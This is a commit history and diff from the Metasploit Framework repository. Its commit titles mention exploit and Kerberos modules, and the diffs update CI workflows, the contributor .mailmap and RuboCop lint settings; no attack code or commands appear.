Jan Rude 2e5349b27f use vars_get
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:50:44 +02:00
Jan Rude f7c11eb84f use correct CheckCode
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:49:41 +02:00
Jan Rude ee67186488 compare rex::Version
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:47:58 +02:00
Jan Rude f260636975 use safe navigation operator
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:47:04 +02:00
Jan Rude 6fe487c4b8 use one liner
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:46:02 +02:00
Jan Rude e5e312199a use correct checkcode
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:45:29 +02:00
Jan Rude 62e0500729 Update syncovery_file_sync_backup.rb 2022-09-16 13:38:37 +02:00
jrude 8f6fd55d9f add review suggestions 2022-09-16 13:34:06 +02:00
Jan Rude 2fc637438f use safe navigation operator
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:25:04 +02:00
Jan Rude 8332bff1d8 use correct if statement
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:21:35 +02:00
Jan Rude 2eb4c27d0c remove unused proof
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:21:11 +02:00
Spencer McIntyre 3e65ba49ef Land #16976, Add documentation for ticket forging
Add documentation for kerberos ticket forging
2022-09-15 09:02:40 -04:00
Spencer McIntyre c5c4cc0ebb Fix a small doc typo left over from the rename 2022-09-15 08:58:16 -04:00
krastanoel 60569b8b97 Add Gitea Git fetch RCE module - CVE-2022-30781 2022-09-15 19:43:12 +07:00
h00die eac559df1f updates to idrac json handling 2022-09-14 16:39:19 -04:00
adfoster-r7 3891413f92 Update documentation 2022-09-14 17:20:57 +01:00
Jan Rude 476f18ff1f add disclosure date 2022-09-12 10:07:02 +02:00
jrude 70ccbd8079 inform user about IOC 2022-09-12 09:30:50 +02:00
Jan Rude fa2f2e6d5d linting
This is getting ridiculous...
2022-09-08 19:51:56 +02:00
Jan Rude d64719927b linting 2022-09-08 19:42:31 +02:00
Jan Rude 25757d45be linting again... 2022-09-08 19:36:17 +02:00
jrude 9ce9c63a03 use json 2022-09-08 19:24:41 +02:00
jrude b649e26d84 corrections 2022-09-08 19:09:35 +02:00
Jan Rude 3179fc11b3 use json parser
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-09-08 17:55:48 +02:00
Jan Rude 8ba86a646c linting 2022-09-08 11:28:27 +02:00
Jan Rude b0a6c60684 linting 2022-09-08 11:15:08 +02:00
Jan Rude 4fc898e347 Update syncovery_linux_token_cve_2022_36536.rb 2022-09-08 11:03:25 +02:00
jrude 6fe97a8e74 linting 2022-09-08 08:50:50 +02:00
Jan Rude 90447d1832 Update syncovery_linux_rce_2022_36534.rb 2022-09-07 20:28:10 +02:00
Jan Rude 257d503525 Update syncovery_linux_rce_2022_36534.rb 2022-09-07 20:21:20 +02:00
Jan Rude 868f3d940c use vars_get 2022-09-07 20:16:40 +02:00
Jan Rude 0fb289aa7b Update syncovery_linux_rce_2022_36534.rb 2022-09-07 16:31:54 +02:00
jrude 01556b22d5 Syncovery For Linux - Auth. RCE (CVE-2022-36534) 2022-09-07 13:34:48 +02:00
jrude 8cf9af812b Syncovery Insecure Session Token Generation (CVE-2022-36536) 2022-09-07 13:17:22 +02:00
Jan Rude 9cb136a209 Wording 2022-09-07 13:15:36 +02:00
jrude 1757a5dedf Syncovery login brute-force utility 2022-09-07 12:46:32 +02:00
h00die 8c4f151c73 update idrac login scanner to work with v8 and v9 2022-09-04 09:59:15 -04:00
h00die 69cff0cb03 print_error and return over fail_with when possible 2022-09-03 15:46:51 -04:00
adfoster-r7 edef4022cd Add documentation for kerberos ticket forging 2022-09-02 16:36:40 +01:00
adfoster-r7 e4c9721a32 Land #16707, Add Silver and Golden ticket forging module 2022-09-02 11:29:36 +01:00
dwelch-r7 5f85175f56 Add module for golden/silver ticket forging 2022-09-01 16:12:07 +01:00
Christophe De La Fuente 223f21b114 Land #16770, Kerberos CCache File Reuse 2022-08-18 19:18:27 +02:00
Spencer McIntyre 596fae611f Fix an issue caused my a missing renew_till field
When #renew_till is nil, the encoding will fail. This should be encoded
as 0 in this case.
2022-08-18 11:35:39 -04:00
Spencer McIntyre 009ada3cc4 Fix issues from the rebase 2022-08-18 11:35:29 -04:00
h00die df35cb2040 ipv4 checking in vcenter 2022-08-14 16:48:38 -04:00
h00die c51930dd66 remove erikwynter modules for time being 2022-08-06 14:11:37 -04:00
npm-cesium137-io ed3a0959ae vcenter post lib and spec 2022-08-06 14:01:56 -04:00
Spencer McIntyre 7da5f2ad4a Changes from PR feedback 2022-07-28 16:05:22 -04:00
Spencer McIntyre 1ed064c1ea Log when a cached credential is used 2022-07-28 16:03:24 -04:00
Spencer McIntyre 52e84fa328 Add explicit ticket support for WinRM modules 2022-07-28 16:03:24 -04:00
Spencer McIntyre 942259d44b Add logging for why credentials are filtered 2022-07-28 16:03:24 -04:00
Spencer McIntyre 95d8b7005e Allow reusing cached and explicit CCACHE files 2022-07-28 16:03:22 -04:00
adfoster-r7 93ad8ae232 Land #16760, Send delegated credentials using WinRM 2022-07-27 17:08:29 +01:00
Ashley Donaldson f16e2cfb35 Send TGT to WinRM to allow further access of network resources (kerberos double hop) 2022-07-27 16:19:09 +01:00
Spencer McIntyre 1e903807bb Land #16730, Add mssql Kerberos auth support 2022-07-15 15:00:14 -04:00
adfoster-r7 37f7c15b1e Update mssql login module to support kerberos authentication 2022-07-15 17:33:54 +01:00
adfoster-r7 f2ff7bb913 Add mssql kerberos authentication 2022-07-15 17:26:10 +01:00
adfoster-r7 9579e355c1 Land #16749, Add winrm kerberos authentication support 2022-07-15 16:24:36 +01:00
adfoster-r7 f404fd9abe Land #16700, LDAP Kerberos and NTLM authentication 2022-07-11 13:27:55 +01:00
Ashley Donaldson 39f90d95b1 Create sessions for winrm_login successes.
Reuses the connection, so that authentication doesn't need to happen again
2022-07-08 16:57:09 +10:00
Ashley Donaldson d3e7152954 Changes from code review 2022-07-08 11:47:54 +10:00
Spencer McIntyre ade10650a8 Set the NTLM flags for LDAP authentication
The sign and seal flags need to be removed for LDAP. Because sign and
seal are not set, key56 and key128 can also be removed.

The rest of the flags are taken from
https://github.com/rapid7/ruby_smb/blob/cc5228730f9bc39215322ab6e07fd8da33602bb9/lib/ruby_smb/ntlm.rb#L31
2022-07-07 13:20:34 -04:00
Ashley Donaldson f9f3be3644 Fix unit tests 2022-07-07 18:04:22 +10:00
Ashley Donaldson b2eb348d94 Added WinRM using Kerberos, including encryption 2022-07-07 13:17:09 +10:00
Spencer McIntyre b8ca08d3ce Support NTLM and kerberos auth in LDAP 2022-07-06 17:12:27 -04:00
Spencer McIntyre cfc24b3625 Land #16670, Add initial smb kerberos auth support 2022-07-06 15:48:56 -04:00
Spencer McIntyre 4abef7d373 Remove an unused option and require SmbRhostname 2022-07-06 15:16:50 -04:00
Spencer McIntyre e53bccae85 Set the session key for older SMB dialects too 2022-07-06 15:16:40 -04:00
adfoster-r7 aea37f7137 Add initial SMB Kerberos authentication support 2022-07-06 16:15:33 +01:00
adfoster-r7 5a6adf7c01 Land #16719, Updated CCache Data Module 2022-07-04 17:52:04 +01:00
Spencer McIntyre d31ffa27d3 Add and use a new kerberos CCache model definition 2022-07-01 11:57:30 -04:00
Spencer McIntyre 8c3d7ff42f Rename Thrift related definitions
These definitions are only used by one exploit. BinData registers the
class name globally meaning that the Header and Data types were being
defined here which conflicted with those needed for Kerberos.
2022-07-01 11:56:55 -04:00
adfoster-r7 e40e835fd8 Land #16706, Kerberos login enhancements 2022-06-30 14:51:30 +01:00
adfoster-r7 f508341155 Land #16705, Fix bugs in previous etypes work 2022-06-29 18:11:25 +01:00
Ashley Donaldson 4f650e7c93 Rename parameter 2022-06-28 08:12:56 +10:00
Ashley Donaldson 997f9b92d9 Changes from code review 2022-06-24 09:33:57 +10:00
Ashley Donaldson 96046f9aec Remove unnecessary freeze calls
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-06-24 08:36:44 +10:00
Ashley Donaldson 2cce4ac1c1 Fix unit tests 2022-06-23 16:55:30 +10:00
Ashley Donaldson bcd30b9be8 Don't error if it's not 12, as this can occur on older systems 2022-06-23 11:52:55 +10:00
Ashley Donaldson 2553bae018 Report correct password when clock is wrong or password has expired 2022-06-23 11:33:45 +10:00
Ashley Donaldson 3e33e2694d Include information on whether account is disabled or locked.
We can do this more precisely for Windows' implementation of Kerberos
by using the undocumented PA-PW-SALT entry.
2022-06-23 10:46:25 +10:00
Ashley Donaldson 8d1d2d5aad Fix bugs from #16685 2022-06-23 10:20:59 +10:00
adfoster-r7 89187c1fa9 Land #16685, Add missing Kerberos encryption types 2022-06-22 13:13:30 +01:00
dwelch-r7 e672fad870 Land #16689, Update Kerberos to support host addresses in tickets 2022-06-22 12:52:17 +01:00
Ashley Donaldson a4a0fc3028 Changes from code review.
Use kwargs instead of default values for rarer crypto args.
Revert case-sensitivity change; we'll leave krb5 on Linux til later.
More constants
2022-06-22 16:03:36 +10:00
Ashley Donaldson 15446fd173 Incorporated new encryption methods into login scanner, including negotiating 2022-06-22 09:36:25 +10:00
Ashley Donaldson 19b62a5af6 Support several new encryption types for Kerberos.
Supports DES-CBC-MD5, DES3-CBC-SHA1, AES128, AES256
2022-06-22 09:13:33 +10:00
dwelch-r7 81a37ecf88 Land #16625, Add Kerberos LoginScanner support 2022-06-20 17:14:52 +01:00
adfoster-r7 f8901a8b17 Add Kerberos LoginScanner support 2022-06-20 16:38:32 +01:00
adfoster-r7 3f56f9891d Update keberos to support host addresses in tickets 2022-06-18 04:16:36 +01:00
dwelch-r7 ac5a885f16 Land #16660, Fix Kerberos flags decoding logic 2022-06-17 17:38:09 +01:00
dwelch-r7 3ce8b2e3bc Land #16678, Support decoding pa_data as part of kdc enc response 2022-06-17 17:19:45 +01:00
adfoster-r7 5dd650fc76 Support decoding pa_data as part of kdc enc response 2022-06-15 20:46:45 +01:00
adfoster-r7 affc5bc294 Fix Kerberos flags decoding logic 2022-06-09 12:22:20 +01:00
Grant Willcox 34de5cf5e6 Land PR #16658 - Move kerberos tests to be under the remote folder
Move Kerberos tests to be under the remote folder to match the actual location of the respective library files in Metasploit Framework.
2022-06-08 11:01:05 -05:00
adfoster-r7 f1e5376414 Move kerberos tests to be under the remote folder 2022-06-08 03:21:25 +01:00
Tod Beardsley 54667a2424 Merge branch 'rapid7:master' into master 2022-01-30 09:13:37 -08:00
Tod Beardsley 1d400bd094 Merge remote-tracking branch 'upstream/master' 2021-06-04 20:23:30 -05:00
2303 changed files with 219278 additions and 41370 deletions
+3 -4
View File
@@ -38,22 +38,21 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.7
- '3.0'
name: Ruby ${{ matrix.ruby }}
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Setup Ruby
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
working-directory: docs
- name: build
working-directory: docs
run: |
bundle exec ruby build.rb
bundle exec ruby build.rb --production
+14 -6
View File
@@ -28,7 +28,7 @@ jobs:
handle-labels:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v3
- uses: actions/github-script@v6
with:
github-token: ${{secrets.GITHUB_TOKEN}}
script: |
@@ -59,7 +59,7 @@ jobs:
comment: `
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html)
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
`
@@ -191,6 +191,14 @@ jobs:
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
`
},
attic: {
close: true,
comment: `
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
`
}
}
};
@@ -202,16 +210,16 @@ jobs:
if (config.comment) {
const precedingWhitespaceLength = config.comment.split("\n")[1].search(/\S/);
const commentWithoutPreceedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
await github.issues.createComment({
const commentWithoutPrecedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
await github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: commentWithoutPreceedingWhitespace
body: commentWithoutPrecedingWhitespace
});
}
if (config.close) {
await github.issues.update({
await github.rest.issues.update({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
+3 -3
View File
@@ -35,7 +35,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.7
- '3.0'
name: Lint msftidy
steps:
@@ -43,7 +43,7 @@ jobs:
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
with:
@@ -51,7 +51,7 @@ jobs:
- uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
env:
BUNDLE_WITHOUT: "coverage development pcap"
+11 -9
View File
@@ -33,7 +33,7 @@ jobs:
name: Docker Build
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: docker-compose build
run: |
@@ -64,18 +64,18 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.7
- 3.0
- 3.1
- '3.0'
- '3.1'
- '3.2'
- '3.3.0-preview1'
os:
- ubuntu-20.04
- ubuntu-latest
exclude:
- { os: ubuntu-latest, ruby: 2.7 }
- { os: ubuntu-latest, ruby: 3.0 }
- { os: ubuntu-latest, ruby: '3.0' }
include:
- os: ubuntu-latest
ruby: 3.1
ruby: '3.1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
@@ -93,14 +93,16 @@ jobs:
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
- name: Create database
+1 -1
View File
@@ -40,7 +40,7 @@ jobs:
const hasPR = await github.rest.pulls.list({
owner,
repo,
head: owner + ':' + '${{ github.ref_name }}'
head: owner + ':' + '${{ github.ref_name }}'
});
console.log('hasPR:');
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
+2
View File
@@ -19,6 +19,8 @@ Gemfile.local.lock
.yardoc
# Mac OS X files
.DS_Store
# Ignore Solargraph config file
.solargraph.yml
# database config for testing
config/database.yml
# target config file for testing
+25 -27
View File
@@ -1,45 +1,20 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
gwillcox-r7 <gwillcox-r7@github> <Grant_Willcox@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
sjanusz-r7 <sjanusz-r7@github> <simon_janusz@rapid7.com>
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -48,9 +23,15 @@ wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
@@ -58,6 +39,7 @@ brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
@@ -75,6 +57,7 @@ DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmai
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
@@ -97,6 +80,8 @@ hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <x@hdm.io>
jabra <jabra@github> <jabra@spl0it.org>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jcran <jcran@github> <jcran@0x0e.org>
jcran <jcran@github> <jcran@pentestify.com>
jcran <jcran@github> <jcran@pwnieexpress.com>
@@ -105,6 +90,8 @@ jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
@@ -123,6 +110,8 @@ lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
@@ -137,6 +126,7 @@ nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
ohdae <ohdae@github> ohdae <bindshell@live.com>
oj <oj@github> <oj@buffered.io>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local>
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
@@ -155,6 +145,10 @@ scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.u
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
sjanusz-r7 <sjanusz-r7@github> <simon_janusz@rapid7.com>
skape <skape@???> Matt Miller <mmiller@hick.org>
smashery <smashery@github> Ashley Donaldson <smashery@gmail.com>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
@@ -163,6 +157,7 @@ stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
@@ -170,12 +165,15 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
# Aliases for utility author names. Since they're fake, typos abound
@@ -185,4 +183,4 @@ Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
+218 -5
View File
@@ -79,6 +79,17 @@ Lint/UnexpectedBlockArity:
Lint/UnmodifiedReduceAccumulator:
Enabled: true
Lint/UnusedMethodArgument:
Description: >-
Disabled on files under the lib/ directory (aka library files)
as this can break YARD documentation since YARD doesn't recognize
the _ prefix before parameter names and thinks its a different argument.
See https://github.com/rapid7/metasploit-framework/pull/17735
Also see https://github.com/rubocop/rubocop/pull/11020
Enabled: true
Exclude:
- 'lib/**/*'
Style/ArgumentsForwarding:
Enabled: true
@@ -175,12 +186,13 @@ Lint/DeprecatedGemVersion:
Exclude:
- 'metasploit-framework.gemspec'
Metrics/ClassLength:
Metrics/ModuleLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
- 'test/modules/**/*'
Enabled: false
Metrics/ClassLength:
Description: 'Most Metasploit classes are quite large. This is ok.'
Enabled: false
Style/ClassAndModuleChildren:
Enabled: false
@@ -217,6 +229,10 @@ Style/FrozenStringLiteralComment:
Enabled: false
Description: 'We cannot support this yet without a lot of things breaking'
Style/MutableConstant:
Enabled: false
Description: 'We cannot support this yet without a lot of things breaking'
Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
@@ -253,6 +269,18 @@ Style/NumericPredicate:
Description: 'This adds no efficiency nor space saving'
Enabled: false
Style/EvenOdd:
Description: 'This adds no efficiency nor space saving'
Enabled: false
Style/FloatDivision:
Description: 'Not a safe rule to run on Metasploit without manual verification as the right hand side may be a string'
Enabled: false
Style/FormatString:
Description: 'Not a safe rule to run on Metasploit without manual verification that the format is not redefined/shadowed'
Enabled: false
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
@@ -350,6 +378,191 @@ Naming/MethodParameterName:
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
Naming/PredicateName:
Enabled: true
# Current methods that break the rule, so that we don't add additional methods that break the convention
AllowedMethods:
- has_additional_info?
- has_advanced_options?
- has_auth
- has_auto_target?
- has_bad_activex?
- has_badchars?
- has_chars?
- has_check?
- has_command?
- has_content_type_extension?
- has_datastore_cred?
- has_evasion_options?
- has_fatal_errors?
- has_fields
- has_files?
- has_flag?
- has_function_name?
- has_gcc?
- has_h2_headings
- has_input_name?
- has_j_security_check?
- has_key?
- has_match?
- has_module
- has_object_ref
- has_objects_list
- has_options?
- has_page?
- has_passphrase?
- has_pid?
- has_pkt_line_data?
- has_prereqs?
- has_privacy_waiver?
- has_privates?
- has_protected_mode_prompt?
- has_proxy?
- has_read_data?
- has_ref?
- has_required_args
- has_required_module_options?
- has_requirements
- has_rop?
- has_s_flag?
- has_service_cred?
- has_subscriber?
- has_subtree?
- has_text
- has_tlv?
- has_u_flag?
- has_users?
- has_vuln?
- has_waiver?
- have_auth_error?
- have_powershell?
- is_accessible?
- is_admin?
- is_alive?
- is_alpha_web_server?
- is_android?
- is_app_binom3?
- is_app_carlogavazzi?
- is_app_cnpilot?
- is_app_epaduo?
- is_app_epmp1000?
- is_app_infovista?
